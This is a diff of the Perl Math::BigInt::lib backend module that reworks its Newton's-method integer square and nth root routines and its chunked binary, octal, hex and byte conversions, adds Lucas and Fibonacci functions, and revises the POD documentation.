-    # below should undershoot.
+    # Newton's method for computing square root of y
     #
-    # y(i+1) = y(i) - f(y(i)) / f'(y(i))
-    #        = y(i) - (y(i)^2 - x) / (2 * y(i))
-    #        = y(i) + (x - y(i)^2) / (2 * y(i))
+    # x(i+1) = x(i) - f(x(i)) / f'(x(i))
+    #        = x(i) - (x(i)^2 - y) / (2 * x(i))     # use if x(i)^2 > y
+    #        = y(i) + (y - x(i)^2) / (2 * x(i))     # use if x(i)^2 < y
 
-    my $two  = $class -> _two();
-    my $zero = $class -> _zero();
-    my $over;
-    my $acmp;
+    # Determine if x, our guess, is too small, correct, or too large.
 
-    {
-        my $ysq = $class -> _mul($class -> _copy($y), $y);      # y(i)^2
-        $acmp = $class -> _acmp($x, $ysq);                      # x <=> y(i)^2
-        last if $acmp == 0;
-        if ($acmp < 0) {           # if we overshot
-            $over = 1;
-            last;
+    my $xsq = $class -> _mul($class -> _copy($x), $x);          # x(i)^2
+    my $acmp = $class -> _acmp($xsq, $y);                       # x(i)^2 <=> y
+
+    # Only assign a value to this variable if we will be using it.
+
+    my $two;
+    $two = $class -> _two() if $acmp != 0;
+
+    # If x is too small, do one iteration of Newton's method. Since the
+    # function f(x) = x^2 - y is concave and monotonically increasing, the next
+    # guess for x will either be correct or too large.
+
+    if ($acmp < 0) {
+
+        # x(i+1) = x(i) + (y - x(i)^2) / (2 * x(i))
+
+        my $numer = $class -> _sub($class -> _copy($y), $xsq);  # y - x(i)^2
+        my $denom = $class -> _mul($class -> _copy($two), $x);  # 2 * x(i)
+        my $delta = $class -> _div($numer, $denom);
+
+        unless ($class -> _is_zero($delta)) {
+            $x    = $class -> _add($x, $delta);
+            $xsq  = $class -> _mul($class -> _copy($x), $x);    # x(i)^2
+            $acmp = $class -> _acmp($xsq, $y);                  # x(i)^2 <=> y
         }
+    }
 
-        my $num = $class -> _sub($class -> _copy($x), $ysq);    # x - y(i)^2
-        my $den = $class -> _mul($class -> _copy($two), $y);    # 2 * y(i)
+    # If our guess for x is too large, apply Newton's method repeatedly until
+    # we either have got the correct value, or the delta is zero.
 
-        my $delta = $class -> _div($num, $den);
-        last if $class -> _acmp($delta, $zero) == 0;
-        $y = $class -> _add($y, $delta);
-        redo;
+    while ($acmp > 0) {
+
+        # x(i+1) = x(i) - (x(i)^2 - y) / (2 * x(i))
+
+        my $numer = $class -> _sub($xsq, $y);                   # x(i)^2 - y
+        my $denom = $class -> _mul($class -> _copy($two), $x);  # 2 * x(i)
+        my $delta = $class -> _div($numer, $denom);
+        last if $class -> _is_zero($delta);
+
+        $x    = $class -> _sub($x, $delta);
+        $xsq  = $class -> _mul($class -> _copy($x), $x);        # x(i)^2
+        $acmp = $class -> _acmp($xsq, $y);                      # x(i)^2 <=> y
     }
 
-    # If we did overshoot, adjust now.
+    # When the delta is zero, our value for x might still be too large. We
+    # require that the outout is either exact or too small (i.e., rounded down
+    # to the nearest integer), so do a final check.
 
-    while ($acmp < 0) {
-        $class -> _dec($y);
-        my $ysq = $class -> _mul($class -> _copy($y), $y);      # y(i)^2
-        $acmp = $class -> _acmp($x, $ysq);                      # x <=> y(i)^2
+    while ($acmp > 0) {
+        $x    = $class -> _dec($x);
+        $xsq  = $class -> _mul($class -> _copy($x), $x);        # x(i)^2
+        $acmp = $class -> _acmp($xsq, $y);                      # x(i)^2 <=> y
     }
 
-    return $y;
+    return $x;
 }
 
 sub _root {
-    my ($class, $x, $n) = @_;
+    my ($class, $y, $n) = @_;
 
-    return undef if $class -> _is_zero($n);
-
-    return $x if $class -> _is_zero($x) || $class -> _is_one($x) ||
+    return $y if $class -> _is_zero($y) || $class -> _is_one($y) ||
                  $class -> _is_one($n);
 
-    my $x_str = $class -> _str($x);
-    my $x_len = length($x_str);
+    # If y <= n, the result is always (truncated to) 1.
 
-    return $class -> _one() if $class -> _acmp($x, $n) <= 0;
+    return $class -> _one() if $class -> _acmp($y, $n) <= 0;
 
-    # Compute the guess $y.
+    # Compute the initial guess x of y^(1/n). When n is large, Newton's method
+    # converges slowly if the "guess" (initial value) is poor, so we need a
+    # good guess. It the guess is too small, the next guess will be too large,
+    # and from then on all guesses are too large.
 
-    my $n_num = $class -> _num($n);
-    my $p = int(($x_len - 1) / $n_num);
-    my $q = $x_len - $p * $n_num;
-
     my $DEBUG = 0;
 
+    # Split y into mantissa and exponent in base 10, so that
+    #
+    #   y = xm * 10^xe, where 0 < xm < 1 and xe is an integer
+
+    my $y_str  = $class -> _str($y);
+    my $ym = "." . $y_str;
+    my $ye = length($y_str);
+
+    # From this compute the approximate base 10 logarithm of y
+    #
+    #   log_10(y) = log_10(ym) + log_10(ye^10)
+    #             = log(ym)/log(10) + ye
+
+    my $log10y = log($ym) / log(10) + $ye;
+
+    # And from this compute the approximate base 10 logarithm of x, where
+    # x = y^(1/n)
+    #
+    #   log_10(x) = log_10(y)/n
+
+    my $log10x = $log10y / $class -> _num($n);
+
+    # From this compute xm and xe, the mantissa and exponent (in base 10) of x,
+    # where 1 < xm <= 10 and xe is an integer.
+
+    my $xe = int $log10x;
+    my $xm = 10 ** ($log10x - $xe);
+
+    # Scale the mantissa and exponent to increase the integer part of ym, which
+    # gives us better accuracy.
+
     if ($DEBUG) {
         print "\n";
-        print substr($x_str, 0, $p), " ", "0" x $q, "\n";
+        print "y_str  = $y_str\n";
+        print "ym     = $ym\n";
+        print "ye     = $ye\n";
+        print "log10y = $log10y\n";
+        print "log10x = $log10x\n";
+        print "xm     = $xm\n";
+        print "xe     = $xe\n";
+    }
+
+    my $d = $xe < 15 ? $xe : 15;
+    $xm *= 10 ** $d;
+    $xe -= $d;
+
+    if ($DEBUG) {
         print "\n";
+        print "xm     = $xm\n";
+        print "xe     = $xe\n";
     }
 
-    my $ymant = substr($x_str, 0, $q) ** (1 / $n_num);
-    my $yexpo = $p;
+    # If the mantissa is not an integer, round up to nearest integer, and then
+    # convert the number to a string. It is important to always round up due to
+    # how Newton's method behaves in this case. If the initial guess is too
+    # small, the next guess will be too large, after which every succeeding
+    # guess converges the correct value from above. Now, if the initial guess
+    # is too small and n is large, the next guess will be much too large and
+    # require a large number of iterations to get close to the solution.
+    # Because of this, we are likely to find the solution faster if we make
+    # sure the initial guess is not too small.
 
-    my $y = (1 + int $ymant) . ("0" x $p);
-    $y = $class -> _new($y);
+    my $xm_int = int($xm);
+    my $x_str = sprintf '%.0f', $xm > $xm_int ? $xm_int + 1 : $xm_int;
+    $x_str .= "0" x $xe;
 
+    my $x = $class -> _new($x_str);
+
     if ($DEBUG) {
+        print "xm     = $xm\n";
+        print "xe     = $xe\n";
         print "\n";
-        print "p  = $p\n";
-        print "q  = $q\n";
+        print "x_str  = $x_str (initial guess)\n";
         print "\n";
-        print "ym = $ymant\n";
-        print "ye = $yexpo\n";
-        print "\n";
-        print "y  = $y (initial guess)\n";
-        print "\n";
     }
 
-    # Newton's method for computing n'th root of x. Generally, the algorithm
-    # below should undershoot.
+    # Use Newton's method for computing n'th root of y.
     #
-    # y(i+1) = y(i) - f(y(i)) / f'(y(i))
-    #        = y(i) - (y(i)^n - x) / (n * y(i)^(n-1))
-    #        = y(i) + (x - y(i)^n) / (n * y(i)^(n-1))
+    # x(i+1) = x(i) - f(x(i)) / f'(x(i))
+    #        = x(i) - (x(i)^n - y) / (n * x(i)^(n-1))   # use if x(i)^n > y
+    #        = x(i) + (y - x(i)^n) / (n * x(i)^(n-1))   # use if x(i)^n < y
 
-    my $nm1  = $class -> _dec($class -> _copy($n));             # n - 1
-    my $zero = $class -> _zero();
-    my $over;
-    my $acmp;
+    # Determine if x, our guess, is too small, correct, or too large. Rather
+    # than computing x(i)^n and x(i)^(n-1) directly, compute x(i)^(n-1) and
+    # then the same value multiplied by x.
 
-    {
-        my $ypowm1 = $class -> _pow($class -> _copy($y), $nm1);     # y(i)^(n-1)
-        my $ypow   = $class -> _mul($class -> _copy($ypowm1), $y);  # y(i)^n
-        $acmp = $class -> _acmp($x, $ypow);                         # x <=> y(i)^n
-        last if $acmp == 0;
+    my $nm1     = $class -> _dec($class -> _copy($n));           # n-1
+    my $xpownm1 = $class -> _pow($class -> _copy($x), $nm1);     # x(i)^(n-1)
+    my $xpown   = $class -> _mul($class -> _copy($xpownm1), $x); # x(i)^n
+    my $acmp    = $class -> _acmp($xpown, $y);                   # x(i)^n <=> y
 
-        my $num = $acmp > 0
-                ? $class -> _sub($class -> _copy($x), $ypow)        # x - y(i)^n
-                : $class -> _sub($ypow, $class -> _copy($x));       # y(i)^n - x
-        my $den = $class -> _mul($class -> _copy($n), $ypowm1);     # n * y(i)^(n-1)
-        my $delta = $class -> _div($num, $den);
-        last if $class -> _acmp($delta, $zero) == 0;
+    if ($DEBUG) {
+        print "\n";
+        print "x      = ", $class -> _str($x), "\n";
+        print "x^n    = ", $class -> _str($xpown), "\n";
+        print "y      = ", $class -> _str($y), "\n";
+        print "acmp   = $acmp\n";
+    }
 
-        $y = $acmp > 0
-           ? $class -> _add($y, $delta)
-           : $class -> _sub($y, $delta);
+    # If x is too small, do one iteration of Newton's method. Since the
+    # function f(x) = x^n - y is concave and monotonically increasing, the next
+    # guess for x will either be correct or too large.
 
+    if ($acmp < 0) {
+
+        # x(i+1) = x(i) + (y - x(i)^n) / (n * x(i)^(n-1))
+
+        my $numer = $class -> _sub($class -> _copy($y), $xpown);    # y - x(i)^n
+        my $denom = $class -> _mul($class -> _copy($n), $xpownm1);  # n * x(i)^(n-1)
+        my $delta = $class -> _div($numer, $denom);
+
         if ($DEBUG) {
-            print "y  = $y\n";
+            print "\n";
+            print "numer  = ", $class -> _str($numer), "\n";
+            print "denom  = ", $class -> _str($denom), "\n";
+            print "delta  = ", $class -> _str($delta), "\n";
         }
 
-        redo;
+        unless ($class -> _is_zero($delta)) {
+            $x       = $class -> _add($x, $delta);
+            $xpownm1 = $class -> _pow($class -> _copy($x), $nm1);     # x(i)^(n-1)
+            $xpown   = $class -> _mul($class -> _copy($xpownm1), $x); # x(i)^n
+            $acmp    = $class -> _acmp($xpown, $y);                   # x(i)^n <=> y
+
+            if ($DEBUG) {
+                print "\n";
+                print "x      = ", $class -> _str($x), "\n";
+                print "x^n    = ", $class -> _str($xpown), "\n";
+                print "y      = ", $class -> _str($y), "\n";
+                print "acmp   = $acmp\n";
+            }
+        }
     }
 
-    # Never overestimate. The output should always be exact or truncated.
+    # If our guess for x is too large, apply Newton's method repeatedly until
+    # we either have got the correct value, or the delta is zero.
 
-    while ($acmp < 0) {
-        $class -> _dec($y);
+    while ($acmp > 0) {
+
+        # x(i+1) = x(i) - (x(i)^n - y) / (n * x(i)^(n-1))
+
+        my $numer = $class -> _sub($class -> _copy($xpown), $y);    # x(i)^n - y
+        my $denom = $class -> _mul($class -> _copy($n), $xpownm1);  # n * x(i)^(n-1)
+
         if ($DEBUG) {
-            print "y  = $y\n";
+            print "numer  = ", $class -> _str($numer), "\n";
+            print "denom  = ", $class -> _str($denom), "\n";
         }
-        my $ypow = $class -> _pow($class -> _copy($y), $n);     # y(i)^n
-        $acmp = $class -> _acmp($x, $ypow);                     # x <=> y(i)^2
+
+        my $delta = $class -> _div($numer, $denom);
+
+        if ($DEBUG) {
+            print "delta  = ", $class -> _str($delta), "\n";
+        }
+
+        last if $class -> _is_zero($delta);
+
+        $x       = $class -> _sub($x, $delta);
+        $xpownm1 = $class -> _pow($class -> _copy($x), $nm1);     # x(i)^(n-1)
+        $xpown   = $class -> _mul($class -> _copy($xpownm1), $x); # x(i)^n
+        $acmp    = $class -> _acmp($xpown, $y);                   # x(i)^n <=> y
+
+        if ($DEBUG) {
+            print "\n";
+            print "x      = ", $class -> _str($x), "\n";
+            print "x^n    = ", $class -> _str($xpown), "\n";
+            print "y      = ", $class -> _str($y), "\n";
+            print "acmp   = $acmp\n";
+        }
     }
 
-    if ($DEBUG) {
-        print "\n";
+    # When the delta is zero, our value for x might still be too large. We
+    # require that the outout is either exact or too small (i.e., rounded down
+    # to the nearest integer), so do a final check.
+
+    while ($acmp > 0) {
+        $x     = $class -> _dec($x);
+        $xpown = $class -> _pow($class -> _copy($x), $n);     # x(i)^n
+        $acmp  = $class -> _acmp($xpown, $y);                 # x(i)^n <=> y
     }
 
-    return $y;
+    return $x;
 }
 
 ##############################################################################
@@ -933,114 +1076,182 @@
     return $z;
 }
 
-sub _as_hex {
-    # convert a decimal number to hex
+sub _to_bin {
+    # convert the number to a string of binary digits without prefix
     my ($class, $x) = @_;
-    my $str  = '';
-    my $tmp  = $class -> _copy($x);
-    my $zero = $class -> _zero();
-    my $base = $class -> _new("16");
+    my $str    = '';
+    my $tmp    = $class -> _copy($x);
+    my $chunk = $class -> _new("16777216");     # 2^24 = 24 binary digits
     my $rem;
-    while ($tmp > $zero) {
-        ($tmp, $rem) = $class -> _div($tmp, $base);
-        $str = sprintf("%0x", $rem) . $str;
+    until ($class -> _acmp($tmp, $chunk) < 0) {
+        ($tmp, $rem) = $class -> _div($tmp, $chunk);
+        $str = sprintf("%024b", $class -> _num($rem)) . $str;
     }
-    $str = '0' if length($str) == 0;
-    return '0x' . $str;
+    unless ($class -> _is_zero($tmp)) {
+        $str = sprintf("%b", $class -> _num($tmp)) . $str;
+    }
+    return length($str) ? $str : '0';
 }
 
-sub _as_bin {
-    # convert a decimal number to bin
+sub _to_oct {
+    # convert the number to a string of octal digits without prefix
     my ($class, $x) = @_;
-    my $str  = '';
-    my $tmp  = $class -> _copy($x);
-    my $zero = $class -> _zero();
-    my $base = $class -> _new("2");
+    my $str    = '';
+    my $tmp    = $class -> _copy($x);
+    my $chunk = $class -> _new("16777216");     # 2^24 = 8 octal digits
     my $rem;
-    while ($tmp > $zero) {
-        ($tmp, $rem) = $class -> _div($tmp, $base);
-        $str = ($class -> _is_zero($rem) ? '0' : '1') . $str;
+    until ($class -> _acmp($tmp, $chunk) < 0) {
+        ($tmp, $rem) = $class -> _div($tmp, $chunk);
+        $str = sprintf("%08o", $class -> _num($rem)) . $str;
     }
-    $str = '0' if length($str) == 0;
-    return '0b' . $str;
+    unless ($class -> _is_zero($tmp)) {
+        $str = sprintf("%o", $class -> _num($tmp)) . $str;
+    }
+    return length($str) ? $str : '0';
 }
 
-sub _as_oct {
-    # convert a decimal number to octal
+sub _to_hex {
+    # convert the number to a string of hexadecimal digits without prefix
     my ($class, $x) = @_;
-    my $str  = '';
-    my $tmp  = $class -> _copy($x);
-    my $zero = $class -> _zero();
-    my $base = $class -> _new("8");
+    my $str    = '';
+    my $tmp    = $class -> _copy($x);
+    my $chunk = $class -> _new("16777216");     # 2^24 = 6 hexadecimal digits
     my $rem;
-    while ($tmp > $zero) {
-        ($tmp, $rem) = $class -> _div($tmp, $base);
-        $str = sprintf("%0o", $rem) . $str;
+    until ($class -> _acmp($tmp, $chunk) < 0) {
+        ($tmp, $rem) = $class -> _div($tmp, $chunk);
+        $str = sprintf("%06x", $class -> _num($rem)) . $str;
     }
-    $str = '0' if length($str) == 0;
-    return '0' . $str;          # yes, 0 becomes "00".
+    unless ($class -> _is_zero($tmp)) {
+        $str = sprintf("%x", $class -> _num($tmp)) . $str;
+    }
+    return length($str) ? $str : '0';
 }
 
-sub _as_bytes {
-    # convert a decimal number to a byte string
+sub _as_bin {
+    # convert the number to a string of binary digits with prefix
     my ($class, $x) = @_;
-    my $str  = '';
-    my $tmp  = $class -> _copy($x);
-    my $base = $class -> _new("256");
+    return '0b' . $class -> _to_bin($x);
+}
+
+sub _as_oct {
+    # convert the number to a string of octal digits with prefix
+    my ($class, $x) = @_;
+    return '0' . $class -> _to_oct($x);         # yes, 0 becomes "00"
+}
+
+sub _as_hex {
+    # convert the number to a string of hexadecimal digits with prefix
+    my ($class, $x) = @_;
+    return '0x' . $class -> _to_hex($x);
+}
+
+sub _to_bytes {
+    # convert the number to a string of bytes
+    my ($class, $x) = @_;
+    my $str    = '';
+    my $tmp    = $class -> _copy($x);
+    my $chunk = $class -> _new("65536");
     my $rem;
     until ($class -> _is_zero($tmp)) {
-        ($tmp, $rem) = $class -> _div($tmp, $base);
-        my $byte = pack 'C', $rem;
-        $str = $byte . $str;
+        ($tmp, $rem) = $class -> _div($tmp, $chunk);
+        $str = pack('n', $class -> _num($rem)) . $str;
     }
-    return "\x00" unless length($str);
-    return $str;
+    $str =~ s/^\0+//;
+    return length($str) ? $str : "\x00";
 }
 
-sub _from_oct {
-    # convert a octal string to a decimal number
-    my ($class, $str) = @_;
-    $str =~ s/^0+//;
-    my $x    = $class -> _zero();
-    my $base = $class -> _new("8");
-    my $n    = length($str);
-    for (my $i = 0 ; $i < $n ; ++$i) {
-        $x = $class -> _mul($x, $base);
-        $x = $class -> _add($x, $class -> _new(substr($str, $i, 1)));
+*_as_bytes = \&_to_bytes;
+
+sub _from_hex {
+    # Convert a string of hexadecimal digits to a number.
+
+    my ($class, $hex) = @_;
+    $hex =~ s/^0[xX]//;
+
+    # Find the largest number of hexadecimal digits that we can safely use with
+    # 32 bit integers. There are 4 bits pr hexadecimal digit, and we use only
+    # 31 bits to play safe. This gives us int(31 / 4) = 7.
+
+    my $len = length $hex;
+    my $rem = 1 + ($len - 1) % 7;
+
+    # Do the first chunk.
+
+    my $ret = $class -> _new(int hex substr $hex, 0, $rem);
+    return $ret if $rem == $len;
+
+    # Do the remaining chunks, if any.
+
+    my $shift = $class -> _new(1 << (4 * 7));
+    for (my $offset = $rem ; $offset < $len ; $offset += 7) {
+        my $part = int hex substr $hex, $offset, 7;
+        $ret = $class -> _mul($ret, $shift);
+        $ret = $class -> _add($ret, $class -> _new($part));
     }
-    return $x;
+
+    return $ret;
 }
 
-sub _from_hex {
-    # convert a hexadecimal string to a decimal number
-    my ($class, $str) = @_;
-    $str =~ s/^0[Xx]//;
-    my $x    = $class -> _zero();
-    my $base = $class -> _new("16");
-    my $n    = length($str);
-    for (my $i = 0 ; $i < $n ; ++$i) {
-        $x = $class -> _mul($x, $base);
-        $x = $class -> _add($x, $class -> _new(hex substr($str, $i, 1)));
+sub _from_oct {
+    # Convert a string of octal digits to a number.
+
+    my ($class, $oct) = @_;
+
+    # Find the largest number of octal digits that we can safely use with 32
+    # bit integers. There are 3 bits pr octal digit, and we use only 31 bits to
+    # play safe. This gives us int(31 / 3) = 10.
+
+    my $len = length $oct;
+    my $rem = 1 + ($len - 1) % 10;
+
+    # Do the first chunk.
+
+    my $ret = $class -> _new(int oct substr $oct, 0, $rem);
+    return $ret if $rem == $len;
+
+    # Do the remaining chunks, if any.
+
+    my $shift = $class -> _new(1 << (3 * 10));
+    for (my $offset = $rem ; $offset < $len ; $offset += 10) {
+        my $part = int oct substr $oct, $offset, 10;
+        $ret = $class -> _mul($ret, $shift);
+        $ret = $class -> _add($ret, $class -> _new($part));
     }
-    return $x;
+
+    return $ret;
 }
 
 sub _from_bin {
-    # convert a binary string to a decimal number
-    my ($class, $str) = @_;
-    $str =~ s/^0[Bb]//;
-    my $x    = $class -> _zero();
-    my $base = $class -> _new("2");
-    my $n    = length($str);
-    for (my $i = 0 ; $i < $n ; ++$i) {
-        $x = $class -> _mul($x, $base);
-        $x = $class -> _add($x, $class -> _new(substr($str, $i, 1)));
+    # Convert a string of binary digits to a number.
+
+    my ($class, $bin) = @_;
+    $bin =~ s/^0[bB]//;
+
+    # The largest number of binary digits that we can safely use with 32 bit
+    # integers is 31. We use only 31 bits to play safe.
+
+    my $len = length $bin;
+    my $rem = 1 + ($len - 1) % 31;
+
+    # Do the first chunk.
+
+    my $ret = $class -> _new(int oct '0b' . substr $bin, 0, $rem);
+    return $ret if $rem == $len;
+
+    # Do the remaining chunks, if any.
+
+    my $shift = $class -> _new(1 << 31);
+    for (my $offset = $rem ; $offset < $len ; $offset += 31) {
+        my $part = int oct '0b' . substr $bin, $offset, 31;
+        $ret = $class -> _mul($ret, $shift);
+        $ret = $class -> _add($ret, $class -> _new($part));
     }
-    return $x;
+
+    return $ret;
 }
 
 sub _from_bytes {
-    # convert a byte string to a decimal number
+    # convert string of bytes to a number
     my ($class, $str) = @_;
     my $x    = $class -> _zero();
     my $base = $class -> _new("256");
@@ -1091,7 +1302,7 @@
         redo;
     }
 
-    # if the gcd is not 1, then return NaN
+    # if the gcd is not 1, there exists no modular multiplicative inverse
     return (undef, undef) unless $class -> _is_one($a);
 
     ($v, $sign == 1 ? '+' : '-');
@@ -1194,6 +1405,100 @@
     return $x;
 }
 
+sub _lucas {
+    my ($class, $n) = @_;
+
+    $n = $class -> _num($n) if ref $n;
+
+    # In list context, use lucas(n) = lucas(n-1) + lucas(n-2)
+
+    if (wantarray) {
+        my @y;
+
+        push @y, $class -> _two();
+        return @y if $n == 0;
+
+        push @y, $class -> _one();
+        return @y if $n == 1;
+
+        for (my $i = 2 ; $i <= $n ; ++ $i) {
+            $y[$i] = $class -> _add($class -> _copy($y[$i - 1]), $y[$i - 2]);
+        }
+
+        return @y;
+    }
+
+    require Scalar::Util;
+
+    # In scalar context use that lucas(n) = fib(n-1) + fib(n+1).
+    #
+    # Remember that _fib() behaves differently in scalar context and list
+    # context, so we must add scalar() to get the desired behaviour.
+
+    return $class -> _two() if $n == 0;
+
+    return $class -> _add(scalar $class -> _fib($n - 1),
+                          scalar $class -> _fib($n + 1));
+}
+
+sub _fib {
+    my ($class, $n) = @_;
+
+    $n = $class -> _num($n) if ref $n;
+
+    # In list context, use fib(n) = fib(n-1) + fib(n-2)
+
+    if (wantarray) {
+        my @y;
+
+        push @y, $class -> _zero();
+        return @y if $n == 0;
+
+        push @y, $class -> _one();
+        return @y if $n == 1;
+
+        for (my $i = 2 ; $i <= $n ; ++ $i) {
+            $y[$i] = $class -> _add($class -> _copy($y[$i - 1]), $y[$i - 2]);
+        }
+
+        return @y;
+    }
+
+    # In scalar context use a fast algorithm that is much faster than the
+    # recursive algorith used in list context.
+
+    my $cache = {};
+    my $two = $class -> _two();
+    my $fib;
+
+    $fib = sub {
+        my $n = shift;
+        return $class -> _zero() if $n <= 0;
+        return $class -> _one()  if $n <= 2;
+        return $cache -> {$n}    if exists $cache -> {$n};
+
+        my $k = int($n / 2);
+        my $a = $fib -> ($k + 1);
+        my $b = $fib -> ($k);
+        my $y;
+
+        if ($n % 2 == 1) {
+            # a*a + b*b
+            $y = $class -> _add($class -> _mul($class -> _copy($a), $a),
+                                $class -> _mul($class -> _copy($b), $b));
+        } else {
+            # (2*a - b)*b
+            $y = $class -> _mul($class -> _sub($class -> _mul(
+                   $class -> _copy($two), $a), $b), $b);
+        }
+
+        $cache -> {$n} = $y;
+        return $y;
+    };
+
+    return $fib -> ($n);
+}
+
 ##############################################################################
 ##############################################################################
 
@@ -1209,13 +1514,31 @@
 
 =head1 SYNOPSIS
 
+    # In the backend library for Math::BigInt et al.
+
+    package Math::BigInt::MyBackend;
+
+    use Math::BigInt::lib;
+    our @ISA = qw< Math::BigInt::lib >;
+
+    sub _new { ... }
+    sub _str { ... }
+    sub _add { ... }
+    str _sub { ... }
+    ...
+
+    # In your main program.
+
+    use Math::BigInt lib => 'MyBackend';
+
+=head1 DESCRIPTION
+
 This module provides support for big integer calculations. It is not intended
 to be used directly, but rather as a parent class for backend libraries used by
-Math::BigInt, Math::BigFloat, Math::BigRat, and related modules. Backend
-libraries include Math::BigInt::Calc, Math::BigInt::FastCalc,
-Math::BigInt::GMP, Math::BigInt::Pari and others.
+Math::BigInt, Math::BigFloat, Math::BigRat, and related modules.
 
-=head1 DESCRIPTION
+Other backend libraries include Math::BigInt::Calc, Math::BigInt::FastCalc,
+Math::BigInt::GMP, and Math::BigInt::Pari.
 
 In order to allow for multiple big integer libraries, Math::BigInt was
 rewritten to use a plug-in library for core math routines. Any module which
@@ -1230,12 +1553,12 @@
 
 A library only needs to deal with unsigned big integers. Testing of input
 parameter validity is done by the caller, so there is no need to worry about
-underflow (e.g., in C<_sub()> and C<_dec()>) nor about division by zero (e.g.,
-in C<_div()>) or similar cases.
+underflow (e.g., in C<_sub()> and C<_dec()>) or about division by zero (e.g.,
+in C<_div()> and C<_mod()>)) or similar cases.
 
 Some libraries use methods that don't modify their argument, and some libraries
-don't even use objects. Because of this, liberary methods are always called as
-class methods, not instance methods:
+don't even use objects, but rather unblessed references. Because of this,
+liberary methods are always called as class methods, not instance methods:
 
     $x = Class -> method($x, $y);     # like this
     $x = $x -> method($y);            # not like this ...
@@ -1244,7 +1567,7 @@
 And with boolean methods
 
     $bool = Class -> method($x, $y);  # like this
-    $bool = $x -> method($y);         # not like this ...
+    $bool = $x -> method($y);         # not like this
 
 Return values are always objects, strings, Perl scalars, or true/false for
 comparison routines.
@@ -1253,7 +1576,7 @@
 
 =over 4
 
-=item api_version()
+=item CLASS-E<gt>api_version()
 
 Return API version as a Perl scalar, 1 for Math::BigInt v1.70, 2 for
 Math::BigInt v1.83.
@@ -1270,45 +1593,45 @@
 
 =over 4
 
-=item _new(STR)
+=item CLASS-E<gt>_new(STR)
 
 Convert a string representing an unsigned decimal number to an object
-representing the same number. The input is normalize, i.e., it matches
+representing the same number. The input is normalized, i.e., it matches
 C<^(0|[1-9]\d*)$>.
 
-=item _zero()
+=item CLASS-E<gt>_zero()
 
 Return an object representing the number zero.
 
-=item _one()
+=item CLASS-E<gt>_one()
 
 Return an object representing the number one.
 
-=item _two()
+=item CLASS-E<gt>_two()
 
 Return an object representing the number two.
 
-=item _ten()
+=item CLASS-E<gt>_ten()
 
 Return an object representing the number ten.
 
-=item _from_bin(STR)
+=item CLASS-E<gt>_from_bin(STR)
 
 Return an object given a string representing a binary number. The input has a
 '0b' prefix and matches the regular expression C<^0[bB](0|1[01]*)$>.
 
-=item _from_oct(STR)
+=item CLASS-E<gt>_from_oct(STR)
 
 Return an object given a string representing an octal number. The input has a
 '0' prefix and matches the regular expression C<^0[1-7]*$>.
 
-=item _from_hex(STR)
+=item CLASS-E<gt>_from_hex(STR)
 
 Return an object given a string representing a hexadecimal number. The input
 has a '0x' prefix and matches the regular expression
 C<^0x(0|[1-9a-fA-F][\da-fA-F]*)$>.
 
-=item _from_bytes(STR)
+=item CLASS-E<gt>_from_bytes(STR)
 
 Returns an object given a byte string representing the number. The byte string
 is in big endian byte order, so the two-byte input string "\x01\x00" should
@@ -1320,129 +1643,143 @@
 
 =over 4
 
-=item _add(OBJ1, OBJ2)
+=item CLASS-E<gt>_add(OBJ1, OBJ2)
 
 Returns the result of adding OBJ2 to OBJ1.
 
-=item _mul(OBJ1, OBJ2)
+=item CLASS-E<gt>_mul(OBJ1, OBJ2)
 
 Returns the result of multiplying OBJ2 and OBJ1.
 
-=item _div(OBJ1, OBJ2)
+=item CLASS-E<gt>_div(OBJ1, OBJ2)
 
-Returns the result of dividing OBJ1 by OBJ2 and truncating the result to an
-integer.
+In scalar context, returns the quotient after dividing OBJ1 by OBJ2 and
+truncating the result to an integer. In list context, return the quotient and
+the remainder.
 
-=item _sub(OBJ1, OBJ2, FLAG)
+=item CLASS-E<gt>_sub(OBJ1, OBJ2, FLAG)
 
-=item _sub(OBJ1, OBJ2)
+=item CLASS-E<gt>_sub(OBJ1, OBJ2)
 
 Returns the result of subtracting OBJ2 by OBJ1. If C<flag> is false or omitted,
 OBJ1 might be modified. If C<flag> is true, OBJ2 might be modified.
 
-=item _dec(OBJ)
+=item CLASS-E<gt>_dec(OBJ)
 
-Decrement OBJ by one.
+Returns the result after decrementing OBJ by one.
 
-=item _inc(OBJ)
+=item CLASS-E<gt>_inc(OBJ)
 
-Increment OBJ by one.
+Returns the result after incrementing OBJ by one.
 
-=item _mod(OBJ1, OBJ2)
+=item CLASS-E<gt>_mod(OBJ1, OBJ2)
 
-Return OBJ1 modulo OBJ2, i.e., the remainder after dividing OBJ1 by OBJ2.
+Returns OBJ1 modulo OBJ2, i.e., the remainder after dividing OBJ1 by OBJ2.
 
-=item _sqrt(OBJ)
+=item CLASS-E<gt>_sqrt(OBJ)
 
-Return the square root of the object, truncated to integer.
+Returns the square root of OBJ, truncated to an integer.
 
-=item _root(OBJ, N)
+=item CLASS-E<gt>_root(OBJ, N)
 
-Return Nth root of the object, truncated to int. N is E<gt>= 3.
+Returns the Nth root of OBJ, truncated to an integer.
 
-=item _fac(OBJ)
+=item CLASS-E<gt>_fac(OBJ)
 
-Return factorial of object (1*2*3*4*...).
+Returns the factorial of OBJ, i.e., the product of all positive integers up to
+and including OBJ.
 
-=item _pow(OBJ1, OBJ2)
+=item CLASS-E<gt>_dfac(OBJ)
 
-Return OBJ1 to the power of OBJ2. By convention, 0**0 = 1.
+Returns the double factorial of OBJ. If OBJ is an even integer, returns the
+product of all positive, even integers up to and including OBJ, i.e.,
+2*4*6*...*OBJ. If OBJ is an odd integer, returns the product of all positive,
+odd integers, i.e., 1*3*5*...*OBJ.
 
-=item _modinv(OBJ1, OBJ2)
+=item CLASS-E<gt>_pow(OBJ1, OBJ2)
 
-Return modular multiplicative inverse, i.e., return OBJ3 so that
+Returns OBJ1 raised to the power of OBJ2. By convention, 0**0 = 1.
 
+=item CLASS-E<gt>_modinv(OBJ1, OBJ2)
+
+Returns the modular multiplicative inverse, i.e., return OBJ3 so that
+
     (OBJ3 * OBJ1) % OBJ2 = 1 % OBJ2
 
-The result is returned as two arguments. If the modular multiplicative
-inverse does not exist, both arguments are undefined. Otherwise, the
-arguments are a number (object) and its sign ("+" or "-").
+The result is returned as two arguments. If the modular multiplicative inverse
+does not exist, both arguments are undefined. Otherwise, the arguments are a
+number (object) and its sign ("+" or "-").
 
-The output value, with its sign, must either be a positive value in the
-range 1,2,...,OBJ2-1 or the same value subtracted OBJ2. For instance, if the
-input arguments are objects representing the numbers 7 and 5, the method
-must either return an object representing the number 3 and a "+" sign, since
-(3*7) % 5 = 1 % 5, or an object representing the number 2 and "-" sign,
-since (-2*7) % 5 = 1 % 5.
+The output value, with its sign, must either be a positive value in the range
